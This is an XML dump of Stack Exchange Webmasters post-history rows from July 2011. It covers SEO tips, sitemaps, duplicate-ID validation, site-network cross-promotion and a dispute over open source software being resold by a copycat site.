http://i.stack.imgur.com/XlVCG.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/s5D7X.png" />
  <row Id="40450" PostHistoryTypeId="25" PostId="16884" RevisionGUID="2dcbf6b5-2265-4101-b97c-9c3983c0246d" CreationDate="2011-07-15T09:31:42.713" Comment="http://twitter.com/#!/StackWebmasters/status/91802106289340416" />
  <row Id="40451" PostHistoryTypeId="5" PostId="16888" RevisionGUID="39794f41-6445-4ae8-96d4-8296d421b3c2" CreationDate="2011-07-15T09:35:25.000" UserId="7198" Comment="added 358 characters in body" Text="Do everything you can to cross-promote them, but consider improving the experience for visitors by unifying the design, writing style, and intended audience across the network, even if the subject matter itself differs wildly.&#xD;&#xA;&#xD;&#xA;There are successful website networks that have no apparent connection between the sites they contain, and others linked by a common theme and targeted at a particular niche. Both use similar techniques for cross-promotion, and you might like to adopt some or all of them:&#xD;&#xA;&#xD;&#xA;###Add links in the footer to all sites&#xD;&#xA;Examples include the Stack Exchange network, with its related sites area (ordered by launch date):&#xD;&#xA;&#xD;&#xA;![stack exchange footer links for cross promotion][1]&#xD;&#xA;&#xD;&#xA;but extend to seemingly unrelated sites, such as those in the footer of the Gawker media network:&#xD;&#xA;&#xD;&#xA;![gawker media footer links for cross promotion][2]&#xD;&#xA;&#xD;&#xA;###Consider a 'site switcher' in the header&#xD;&#xA;If the site network is large (or loosely related) make the switcher discreet, like Envato does for its network:&#xD;&#xA;&#xD;&#xA;![envato related site switcher][3]&#xD;&#xA;&#xD;&#xA;If the sites are more closely related, consider something a little more prominent that puts each site in its own tab unified across the network, like the Cheezburger abomination you mention:&#xD;&#xA;&#xD;&#xA;![enter image description here][4]&#xD;&#xA;&#xD;&#xA;###Advice on 'hub' pages&#xD;&#xA;If you're going to create a hub page containing all the sites you mention, make it more than just a link to the sites themselves. Consider, perhaps, a brief summary of each site and pulling in the RSS feeds to help users get straight to relevant content.&#xD;&#xA;&#xD;&#xA;The [tutsplus](http://tutsplus.com/) hub page is a fair example of this.&#xD;&#xA;&#xD;&#xA;###Consider unifying the template and design of all sites&#xD;&#xA;If you're going to create a site network—even of seemingly disparate sites—it doesn't hurt to unify the look and feel. Not only does it tell visitors that they're on your network, but it enables you to share resources (like stylesheets) to reduce page load time for subsequent sites a user visits, and launch new sites faster.&#xD;&#xA;&#xD;&#xA;###Consider unifying the writing style and target audience of the sites&#xD;&#xA;If you're determined to pass traffic around between multiple sites, the strategy's likely to be more successful if there's not such a marked disconnect between the writing style and intended audience of all of your sites.&#xD;&#xA;&#xD;&#xA;###Summary&#xD;&#xA;It might seem crazy linking unrelated sites together, but people often have diverse enough interests to make it worthwhile. By unifying the look and feel of sites while giving each one its own personality, you can take advantage of traffic you've already captured and minimise the amount of development and marketing required when launching new projects.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/aPvAM.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/F00oN.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/XlVCG.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/s5D7X.png" />
  <row Id="40452" PostHistoryTypeId="2" PostId="16889" RevisionGUID="8f7fce01-5c03-49db-96f4-728c67c0d112" CreationDate="2011-07-15T09:43:59.990" UserId="798" Text="You're stuck with the 20 mins. Make sure your install package contains every setting you need. You cannot rely on changes made on the server, because if there is something wrong with the running instance, then it will also be recycled. You'll lose your settings then too." />
  <row Id="40455" PostHistoryTypeId="2" PostId="16891" RevisionGUID="6ef0f344-12c8-40e0-bf49-78ebf7df98b6" CreationDate="2011-07-15T10:22:13.937" UserId="8435" Text="Your website should have good answer avoiding spamming comment.&#xD;&#xA;&#xD;&#xA;website should have user interaction things like rating, liking, sharing &#xD;&#xA;&#xD;&#xA;website should be search engine friendly url.&#xD;&#xA;&#xD;&#xA;website should have openid login features&#xD;&#xA;&#xD;&#xA;connect should be crawlable to search engines.&#xD;&#xA;&#xD;&#xA;Good admin panel to control spamming&#xD;&#xA;&#xD;&#xA;Good internal search features so that people may get proper questions/answer.&#xD;&#xA;&#xD;&#xA;website MUST be open soon and userfriendly" />
  <row Id="40456" PostHistoryTypeId="2" PostId="16892" RevisionGUID="d60c9d68-c99a-4cd6-a4ad-e876f9ab1f51" CreationDate="2011-07-15T10:26:34.500" UserId="8435" Text="I am in favor of nick. In-fact, You can get good rank for any of them. But shortest URL will be good for user to remember. &#xD;&#xA;&#xD;&#xA;You must care in original content or their updated time period. Rest leave omn Google. It will best for you." />
  <row Id="40457" PostHistoryTypeId="2" PostId="16893" RevisionGUID="505e0aa8-f0ec-40f5-80df-c6802b63e876" CreationDate="2011-07-15T10:29:51.880" UserId="8435" Text="You can choose any domain whether it is relevant or not. But it must be easy for user to remember.  " />
  <row Id="40458" PostHistoryTypeId="2" PostId="16894" RevisionGUID="2926f469-118f-4b47-9edd-ec5915cd34f2" CreationDate="2011-07-15T10:33:09.033" UserId="8975" Text="i have a website which streams Flash Videos. For Google i have a special page due to using AJAX for normal Users (see [articles on &quot;_escaped_fragment_&quot;][1] for this).&#xD;&#xA;&#xD;&#xA;What i want to know is how i should present the Video in the Crawler optimized Page so GoogleBot can most easily recognize the video and maybe even add it to their Google Video search?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/intl/de-DE/web/ajaxcrawling/docs/specification.html" />
  <row Id="40459" PostHistoryTypeId="1" PostId="16894" RevisionGUID="2926f469-118f-4b47-9edd-ec5915cd34f2" CreationDate="2011-07-15T10:33:09.033" UserId="8975" Text="How to present videos for Google Bot" />
  <row Id="40460" PostHistoryTypeId="3" PostId="16894" RevisionGUID="2926f469-118f-4b47-9edd-ec5915cd34f2" CreationDate="2011-07-15T10:33:09.033" UserId="8975" Text="&lt;seo&gt;&lt;google-search&gt;&lt;seo-friendly&gt;&lt;googlebot&gt;" />
  <row Id="40461" PostHistoryTypeId="2" PostId="16895" RevisionGUID="8203c596-6fe3-4b6a-852e-f51b58becaba" CreationDate="2011-07-15T10:57:52.043" UserId="8972" Text="A simple SEO check list is:&#xD;&#xA;&#xD;&#xA; 1. Unique, appealing content (this matters 80%)&#xD;&#xA; 2. Good keywords in URL&#xD;&#xA; 3. Use meta tags well&#xD;&#xA; 4. Submit a sitemap to search engines&#xD;&#xA; 5. Make sure to use HTML carefully (h1-h6 tags matter)&#xD;&#xA; 6. Have descriptive file names (specially for images)&#xD;&#xA; 7. Do not cheat&#xD;&#xA;&#xD;&#xA;There is a good article about SEO [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thoughtresults.com/seo" />
  <row Id="40462" PostHistoryTypeId="2" PostId="16896" RevisionGUID="14a2b0bf-3642-4beb-838d-a62e739121e9" CreationDate="2011-07-15T11:26:53.203" UserId="233" Text="As [evidenced here][1], they do have some backlinks - though this is unlikely all of them.&#xD;&#xA;&#xD;&#xA;Furthermore, the number of pages on a domain has zero direct effect on whether those pages rank. Don't know where you are getting the page view count from, but unless you have access to their server statistics or analytics account then those figures are almost certainly incorrect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com/uk/search?p=indiahowto.com&amp;bwm=i" />
  <row Id="40463" PostHistoryTypeId="2" PostId="16897" RevisionGUID="b2c6c373-76cc-4957-af52-391168e667c3" CreationDate="2011-07-15T11:33:37.850" UserId="798" Text="How about a video sitemap ? Read more [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=80472" />
  <row Id="40464" PostHistoryTypeId="10" PostId="16887" RevisionGUID="4cec752f-ae02-48b7-b40b-e00be76bfd1c" CreationDate="2011-07-15T11:35:15.943" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40466" PostHistoryTypeId="5" PostId="16885" RevisionGUID="b400d25c-d71c-4c12-8cb7-cccb43aae8ed" CreationDate="2011-07-15T11:36:59.577" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What factors should we consider, when building an Q'n'A website which is solely based on organic searches?&#xD;&#xA;&#xD;&#xA;Note: I am gathering all information about starting a website driven solely on organic searches. &#xD;&#xA;&#xD;&#xA;**Even a minute detail here will help me a lot.**&#xD;&#xA;&#xD;&#xA;Please enlighten me.&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="40467" PostHistoryTypeId="10" PostId="16885" RevisionGUID="c75ecc23-9c7b-4f6f-b292-43e6240ae539" CreationDate="2011-07-15T11:36:59.093" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40468" PostHistoryTypeId="5" PostId="16895" RevisionGUID="a333bde1-0fd9-4370-9ffc-8c3c39390592" CreationDate="2011-07-15T11:39:20.837" UserId="1253" Comment="deleted 92 characters in body" Text="A simple SEO check list is:&#xD;&#xA;&#xD;&#xA; 1. Unique, appealing content (this matters 80%)&#xD;&#xA; 2. Good keywords in URL&#xD;&#xA; 3. Use meta tags well&#xD;&#xA; 4. Submit a sitemap to search engines&#xD;&#xA; 5. Make sure to use HTML carefully (h1-h6 tags matter)&#xD;&#xA; 6. Have descriptive file names (specially for images)&#xD;&#xA; 7. Do not cheat&#xD;&#xA;" />
  <row Id="40469" PostHistoryTypeId="5" PostId="16873" RevisionGUID="6bfca0d6-82cd-44aa-b76a-e9f5a7e5da04" CreationDate="2011-07-15T11:44:16.170" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;If I want to be listed top for the query &quot;where is obama from&quot;, what more do I have to do beyond registering a keyword phrase domain such as whereisobamafrom.com?&#xD;&#xA;" />
  <row Id="40470" PostHistoryTypeId="10" PostId="16873" RevisionGUID="e094838b-458f-49aa-a818-d3872fbeb570" CreationDate="2011-07-15T11:44:15.670" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40471" PostHistoryTypeId="25" PostId="16869" RevisionGUID="7190f320-e093-4639-8b6e-12594b492019" CreationDate="2011-07-15T12:31:42.967" Comment="http://twitter.com/#!/StackWebmasters/status/91847404504092673" />
  <row Id="40472" PostHistoryTypeId="2" PostId="16898" RevisionGUID="aaac280a-f9fc-4ca5-be1a-cf8a67b5828e" CreationDate="2011-07-15T12:40:44.657" UserId="8972" Text="AMAIK, Google accepts sitemaps which are about ordinary URLs (text/plain), images (image/png, image/gif, image/jpg, etc.), and videos (video/avi, video/mpeg, etc.).&#xD;&#xA;&#xD;&#xA;My question is, how many Internet Media Types (formerly known as MIME Types) can have sitemaps. For example, if I'm a researcher, can I create a sitemap for my PDF files (application/pdf), or can a compose create a sitemap for his/her compositions (audio/mpeg3)?" />
  <row Id="40473" PostHistoryTypeId="1" PostId="16898" RevisionGUID="aaac280a-f9fc-4ca5-be1a-cf8a67b5828e" CreationDate="2011-07-15T12:40:44.657" UserId="8972" Text="How many Internet Media Types do have sitemaps?" />
  <row Id="40474" PostHistoryTypeId="3" PostId="16898" RevisionGUID="aaac280a-f9fc-4ca5-be1a-cf8a67b5828e" CreationDate="2011-07-15T12:40:44.657" UserId="8972" Text="&lt;search-engines&gt;&lt;sitemap&gt;" />
  <row Id="40475" PostHistoryTypeId="2" PostId="16899" RevisionGUID="9bf66fb5-4314-442c-af4a-50f5b1dec530" CreationDate="2011-07-15T13:08:02.447" UserId="1253" Text="Google's advanced search supports these formats:&#xD;&#xA;&#xD;&#xA;- Adobe Acrobat PDF (.pdf)&#xD;&#xA;- Adobe Postscript (.ps)&#xD;&#xA;- Autodesk DWF (.dwf)&#xD;&#xA;- Google Earth KML (.kml)&#xD;&#xA;- Google Earth KMZ (.kmz)&#xD;&#xA;- Microsoft Excel (.xls)&#xD;&#xA;- Microsoft Powerpoint (.ppt)&#xD;&#xA;- Microsoft Word (.doc)&#xD;&#xA;- Rich Text Format (.rtf)&#xD;&#xA;- Shockwave Flash (.swf)&#xD;&#xA;&#xD;&#xA;So if you content in these formats and want them ijndex they should be in your sitemap." />
  <row Id="40476" PostHistoryTypeId="5" PostId="16898" RevisionGUID="23320949-d6e4-4170-a032-50c34cc4d0be" CreationDate="2011-07-15T13:09:34.940" UserId="1253" Comment="modified tags, improved title" Text="AFAIK, Google accepts sitemaps which are about ordinary URLs (text/plain), images (image/png, image/gif, image/jpg, etc.), and videos (video/avi, video/mpeg, etc.).&#xD;&#xA;&#xD;&#xA;My question is, how many Internet Media Types (formerly known as MIME Types) can have sitemaps. For example, if I'm a researcher, can I create a sitemap for my PDF files (application/pdf), or can a compose create a sitemap for his/her compositions (audio/mpeg3)?" />
  <row Id="40477" PostHistoryTypeId="4" PostId="16898" RevisionGUID="23320949-d6e4-4170-a032-50c34cc4d0be" CreationDate="2011-07-15T13:09:34.940" UserId="1253" Comment="modified tags, improved title" Text="What document types can be included in an XML sitemap?" />
  <row Id="40478" PostHistoryTypeId="6" PostId="16898" RevisionGUID="23320949-d6e4-4170-a032-50c34cc4d0be" CreationDate="2011-07-15T13:09:34.940" UserId="1253" Comment="modified tags, improved title" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;sitemap&gt;" />
  <row Id="40479" PostHistoryTypeId="5" PostId="16899" RevisionGUID="906c5e49-6d88-48fb-865a-e7cd011225d9" CreationDate="2011-07-15T13:13:15.763" UserId="1253" Comment="added 18 characters in body" Text="Google's advanced search shows that Google supports these formats:&#xD;&#xA;&#xD;&#xA;- Adobe Acrobat PDF (.pdf)&#xD;&#xA;- Adobe Postscript (.ps)&#xD;&#xA;- Autodesk DWF (.dwf)&#xD;&#xA;- Google Earth KML (.kml)&#xD;&#xA;- Google Earth KMZ (.kmz)&#xD;&#xA;- Microsoft Excel (.xls)&#xD;&#xA;- Microsoft Powerpoint (.ppt)&#xD;&#xA;- Microsoft Word (.doc)&#xD;&#xA;- Rich Text Format (.rtf)&#xD;&#xA;- Shockwave Flash (.swf)&#xD;&#xA;&#xD;&#xA;So if your content in these formats and want them index they should be in your sitemap." />
  <row Id="40486" PostHistoryTypeId="2" PostId="16901" RevisionGUID="c41760da-2fdd-4b75-b55d-984719c49afc" CreationDate="2011-07-15T14:19:54.117" UserId="8979" Text="I am developing a web application and I would like to check for duplicate CSS `id` values in a HTML page. I am running that application on my local machine. &#xD;&#xA;&#xD;&#xA;There is a way to do that?&#xD;&#xA;&#xD;&#xA;P.S.: I am using Firefox and Firebug." />
  <row Id="40487" PostHistoryTypeId="1" PostId="16901" RevisionGUID="c41760da-2fdd-4b75-b55d-984719c49afc" CreationDate="2011-07-15T14:19:54.117" UserId="8979" Text="Check for duplicate CSS 'id' values in a HTML page" />
  <row Id="40488" PostHistoryTypeId="3" PostId="16901" RevisionGUID="c41760da-2fdd-4b75-b55d-984719c49afc" CreationDate="2011-07-15T14:19:54.117" UserId="8979" Text="&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;websites&gt;&lt;duplicate-content&gt;" />
  <row Id="40489" PostHistoryTypeId="2" PostId="16902" RevisionGUID="31522d06-8b93-49b5-8090-41a5101ce2ed" CreationDate="2011-07-15T14:23:22.983" UserId="8939" Text="You could make different ads for different pages and use custom channels in adsense." />
  <row Id="40490" PostHistoryTypeId="2" PostId="16903" RevisionGUID="625164c9-df6e-4d6d-b009-9cfec2a7c9d1" CreationDate="2011-07-15T14:24:36.307" UserId="9147" Text="This are few MAY or MAY NOT factors in seo, according to me.&#xD;&#xA;&#xD;&#xA;I want to know the weightage (%) among the listed below or any additional factor with their corresponding weightage.&#xD;&#xA;&#xD;&#xA;1.Domain name&#xD;&#xA;&#xD;&#xA;2.Domain age&#xD;&#xA;&#xD;&#xA;3.Domain extension (viz .com, .net, .in)&#xD;&#xA;&#xD;&#xA;4.Keywords in sub domain urls&#xD;&#xA;&#xD;&#xA;5.Number of sub domains&#xD;&#xA;&#xD;&#xA;6.Keywords in Heading/s&#xD;&#xA;&#xD;&#xA;7.Web hosting server - dedicated, shared&#xD;&#xA;&#xD;&#xA;8.Ip address - static, dynamic&#xD;&#xA;&#xD;&#xA;9.Web pages loading speed&#xD;&#xA;&#xD;&#xA;10.Web pages text readabilty&#xD;&#xA;&#xD;&#xA;11.Web page font color&#xD;&#xA;&#xD;&#xA;12.Keywords in images file name&#xD;&#xA;&#xD;&#xA;13.Keyword density in web page title&#xD;&#xA;&#xD;&#xA;14.Keyword density in web page content&#xD;&#xA;&#xD;&#xA;15.Uniqueness of content&#xD;&#xA;&#xD;&#xA;16.Website structure for easy navigation&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;17.Number of incoming links from high ranking websites with related categories&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;18.Web pages pageview or website page views&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;19.Unique visitors per day&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;20.Following HTML 5 standards&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;21.Cross browser compatibility&#xD;&#xA;&#xD;&#xA;22.Screen resolution compatibility&#xD;&#xA;&#xD;&#xA;23.Using google services (adsense, orkut)&#xD;&#xA;&#xD;&#xA;24.website reviews&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40491" PostHistoryTypeId="1" PostId="16903" RevisionGUID="625164c9-df6e-4d6d-b009-9cfec2a7c9d1" CreationDate="2011-07-15T14:24:36.307" UserId="9147" Text="Opinions on seo factors from listed below." />
  <row Id="40492" PostHistoryTypeId="3" PostId="16903" RevisionGUID="625164c9-df6e-4d6d-b009-9cfec2a7c9d1" CreationDate="2011-07-15T14:24:36.307" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;google-search&gt;&lt;seo-friendly&gt;" />
  <row Id="40493" PostHistoryTypeId="10" PostId="16903" RevisionGUID="4290bad3-806d-4e57-9158-435a57edf857" CreationDate="2011-07-15T14:26:15.920" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40494" PostHistoryTypeId="2" PostId="16904" RevisionGUID="d803ccae-936a-41e3-b14e-4df0ac50692d" CreationDate="2011-07-15T14:40:15.923" UserId="231" Text="Use the [W3C Validator][1]. It will tell you if there are duplicated ids.&lt;br/&gt;&#xD;&#xA;If your site is not online, use Opera. They have a nice feature that uploads the page in order to validate it.&#xD;&#xA;&#xD;&#xA; - Right click on the page&#xD;&#xA; - Validate&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://validator.w3.org/&#xD;&#xA;  [2]: http://i.stack.imgur.com/3xJ8h.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/ZffaU.png" />
  <row Id="40495" PostHistoryTypeId="2" PostId="16905" RevisionGUID="fdf39ee7-d3e3-4722-9ee7-df8111983668" CreationDate="2011-07-15T14:40:57.700" UserId="7198" Text="The W3C's [validator](http://validator.w3.org/check) tool will report duplicate IDs. To test your code:&#xD;&#xA;&#xD;&#xA;1. Copy the generated source code to your clipboard.&#xD;&#xA;2. Visit http://validator.w3.org/#validate_by_input&#xD;&#xA;3. Paste your markup into the box and hit 'validate'.&#xD;&#xA;&#xD;&#xA;You can test it with the following code if you wish:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;title&gt;Test&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;div id=&quot;test&quot;&gt;Test div&lt;/div&gt;&#xD;&#xA;            &lt;div id=&quot;test&quot;&gt;Test div 2&lt;/div&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This produces the following error:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/x4mhG.png" />
  <row Id="40496" PostHistoryTypeId="2" PostId="16906" RevisionGUID="814666bf-ea93-4786-a9a7-9df023325dc3" CreationDate="2011-07-15T14:45:10.053" UserId="8354" Text="1. http://validator.w3.org/check&#xD;&#xA;&#xD;&#xA;2. If you have [Web Developer Toolbar](http://chrispederick.com/work/web-developer/) installed, you can use it to contact the above service directly from browser: Tools -&gt; Validate Local HTML&#xD;&#xA;&#xD;&#xA;3. Some developer tools (like PhpStorm/WebStorm) automatically perform such validation." />
  <row Id="40497" PostHistoryTypeId="25" PostId="16901" RevisionGUID="0b099150-6b1e-45a1-a018-c51792e89c6a" CreationDate="2011-07-15T15:31:42.863" Comment="http://twitter.com/#!/StackWebmasters/status/91892703373180928" />
  <row Id="40498" PostHistoryTypeId="5" PostId="16905" RevisionGUID="3c9b1bc5-bc57-47a4-9783-1199ceb1b6ca" CreationDate="2011-07-15T16:03:00.830" UserId="7198" Comment="deleted 3 characters in body" Text="The W3C's [validator](http://validator.w3.org/check) tool will report duplicate IDs. To test your code:&#xD;&#xA;&#xD;&#xA;1. Copy the generated source code to your clipboard.&#xD;&#xA;2. Visit http://validator.w3.org/#validate_by_input&#xD;&#xA;3. Paste your markup into the box and hit 'Check'.&#xD;&#xA;&#xD;&#xA;You can test it with the following code if you wish:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;title&gt;Test&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;div id=&quot;test&quot;&gt;Test div&lt;/div&gt;&#xD;&#xA;            &lt;div id=&quot;test&quot;&gt;Test div 2&lt;/div&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This produces the following error:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/x4mhG.png" />
  <row Id="40499" PostHistoryTypeId="2" PostId="16907" RevisionGUID="bf1ca512-afdc-4a92-902c-767f7dfa6fac" CreationDate="2011-07-15T16:03:24.230" UserId="4502" Text="To the last bit about composers, this could be done by &lt;a href=&quot;http://www.sitemaps.org/protocol.php#extending&quot;&gt;extending the sitemap format&lt;/a&gt; with an audio namespace. (This is basically what's done for the &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=80472#4&quot;&gt;video sitemaps&lt;/a&gt;, eg. `&lt;video:description&gt;`.)&#xD;&#xA;&#xD;&#xA;But that only covers the technical possibility.  &#xD;&#xA;The actual *practical* use of such a sitemap would be limited at best right now, as Google isn't doing anything for audio that's analogous to their image or video search functions, which may use the sitemap data to let you filter video search results by length, for example. I don't think any major engine is currently.&#xD;&#xA;&#xD;&#xA;If Facebook is a factor for you, apparently they &lt;a href=&quot;http://www.google.com/support/forum/p/Webmasters/thread?tid=62386f737d0c467e&amp;hl=en&quot;&gt;suggest&lt;/a&gt; cramming audio into their video OpenGraph tags, but the Google employee in that thread is definitely suggesting that wouldn't be too great an idea for sitemaps. The person who opened the thread does bring up using &lt;a href=&quot;http://schema.org/AudioObject&quot;&gt;HTML schemas&lt;/a&gt; for it, though, which you might investigate." />
  <row Id="40500" PostHistoryTypeId="2" PostId="16908" RevisionGUID="2e027af5-79dd-493e-8982-99aa795c0aaf" CreationDate="2011-07-15T16:42:03.540" UserId="5727" Text="Found a user on the forum trying to solicit business for his website, a good user reported it and I checked the website out.&#xD;&#xA;&#xD;&#xA;Firstly and most dangerously it's attempting to sell our original software, which is *open source*.  Our open source software is around 15mb big and he's serving a 50mb download and trying to sell it for $20.&#xD;&#xA;&#xD;&#xA;He's also stolen our CSS/images/site design in general which is all custom built.&#xD;&#xA;&#xD;&#xA;I attempted to open reasonable discussion with him, and he responded promptly saying he would remove offending materials if he could just have 3 days to sort it out which I accepted.  I'm not sure what his plan was because *everything* on that site is offending material.&#xD;&#xA;&#xD;&#xA;Anyway he messaged back saying the site was offline, and it was, but it went back online shortly afterwards.&#xD;&#xA;&#xD;&#xA;It's pretty sickening that someone is selling open source work as their own, (the site about us page references him as the sole developer etc etc, it's unbelievable to read it).&#xD;&#xA;&#xD;&#xA;I want to shut it down, what are my options?  I'm going to contact his domain registrar, web host, and Paypal (that's how he's selling the program).&#xD;&#xA;&#xD;&#xA;Any other ideas?  " />
  <row Id="40501" PostHistoryTypeId="1" PostId="16908" RevisionGUID="2e027af5-79dd-493e-8982-99aa795c0aaf" CreationDate="2011-07-15T16:42:03.540" UserId="5727" Text="Blatant copyright theft" />
  <row Id="40502" PostHistoryTypeId="3" PostId="16908" RevisionGUID="2e027af5-79dd-493e-8982-99aa795c0aaf" CreationDate="2011-07-15T16:42:03.540" UserId="5727" Text="&lt;copyright&gt;" />
  <row Id="40503" PostHistoryTypeId="2" PostId="16909" RevisionGUID="803a4669-a62d-4a95-82d8-d670442ec317" CreationDate="2011-07-15T16:57:55.133" UserId="8950" Text="Although I'm not an attorney, as a web developer who also deals a bit with clients who have various IP needs, short of hiring counsel (which usually is impactical) there are a few actions which should be fairly effective.&#xD;&#xA;&#xD;&#xA;Step one is to do a WHOIS lookup on the website owner and get in touch with the abuse department of the hosting company ASAP. Provide details about the situation, any supporting documentation along with proof that you tried contacting the offender and also you should be ready to prove that you are the owner of the code in question.&#xD;&#xA;&#xD;&#xA;In addition to contacting the host, it would be a good idea to send a DMCA takedown notice along with a Cease and Desist letter from yourself and counsel (if possible -- getting a letter signed isn't going to cost nearly as much as a trial) and send copies to the host and site owner via certified mail.&#xD;&#xA;&#xD;&#xA;With the cease and desist and DMCA notices -- typically they all follow a similar format so it isn't like a contract which needs hours of customization. Rather it's simply a notice saying that if the content isn't taken down, you reserve the right to pursue legal action.&#xD;&#xA;&#xD;&#xA;In addition since your project is open source, you might be able to get pro-bono legal help or at least plenty of support to help combat the offense. When it comes to open source code, copyright violations are taken very seriously in many instances -- even if the open source coders are volunteers because ultimately unless you protect your IP rights, everyone will milk things from you.&#xD;&#xA;&#xD;&#xA;I don't know much about pro-bono legal aid for open source software, however if you have a look at the EFF, GNU, and other major open source organization websites, you should get the information you need." />
  <row Id="40504" PostHistoryTypeId="2" PostId="16910" RevisionGUID="d6446a5c-d020-4de6-8daa-2fb07fc7f8e3" CreationDate="2011-07-15T17:03:59.997" UserId="8950" Text="From my experience with web host registrations and registrars, one of the first things I tell clients is *never* to use the &quot;free&quot; domain included with their web hosting plan because unlike when you buy direct from a registrar, buying a bundled domain in some cases is retained by the hosting company so if you decide to go elsewhere for hosting, the prior host will either wipe your domain or hold it ransom.&#xD;&#xA;&#xD;&#xA;As for getting your domain back, usually registrars will let you buy your domain back at an inflated rate (usually $80) for up to 90 days post expiration/lapse, but for a name 7 years old, it's unlikely you can buy it back cheaply.&#xD;&#xA;&#xD;&#xA;Your best bet is probably to go through a broker like Sedo or GoDaddy (they usually charge $80 plus commission on final price) since they can handle the process of negotiations and transferring the domain." />
  <row Id="40505" PostHistoryTypeId="2" PostId="16911" RevisionGUID="af6b086b-f9c5-424b-90b3-6e94b2b98959" CreationDate="2011-07-15T17:08:27.350" UserId="8965" Text="I chose http://www.ucvhost.com. I will write my feelings about in some usage time." />
  <row Id="40509" PostHistoryTypeId="2" PostId="16913" RevisionGUID="228673d1-9fa0-4345-b2e4-c341c2d6949e" CreationDate="2011-07-15T17:35:01.280" UserId="2251" Text="It seems 1and1 have finally resolved this issue." />
  <row Id="40510" PostHistoryTypeId="2" PostId="16914" RevisionGUID="00ff2d97-681a-4d3e-bed0-e72b8c4d2fe4" CreationDate="2011-07-15T17:47:40.020" UserId="7198" Text="Most of the popular open source licences (e.g. GPL, MIT) permit software to be resold. They also permit it to be redistributed as part of a larger file collection, so long as the original license is included with the bundle.&#xD;&#xA;&#xD;&#xA;So, while their business practises sound shady and I can sympathise with your position, the only thing they appear to have done 'wrong' in a legal sense is to reuse your HTML, CSS, and images without permission. As such, theonlylos' advice about issuing a DMCA takedown notice (for the design, not your open source project) and contacting the web host to ask them to remove the copied site is probably you're only option.&#xD;&#xA;&#xD;&#xA;But contacting PayPal is unlikely to be fruitful; they will want proof that someone is selling your intellectual property without your permission. If you used an open source licence, the chances are that you gave explicit permission to resell your product in that licence, perhaps without even realising it.&#xD;&#xA;&#xD;&#xA;In your shoes, I would do my best to market the open source project to make it plain to all that it's available at no cost. That way, it's less likely anyone will pay for it." />
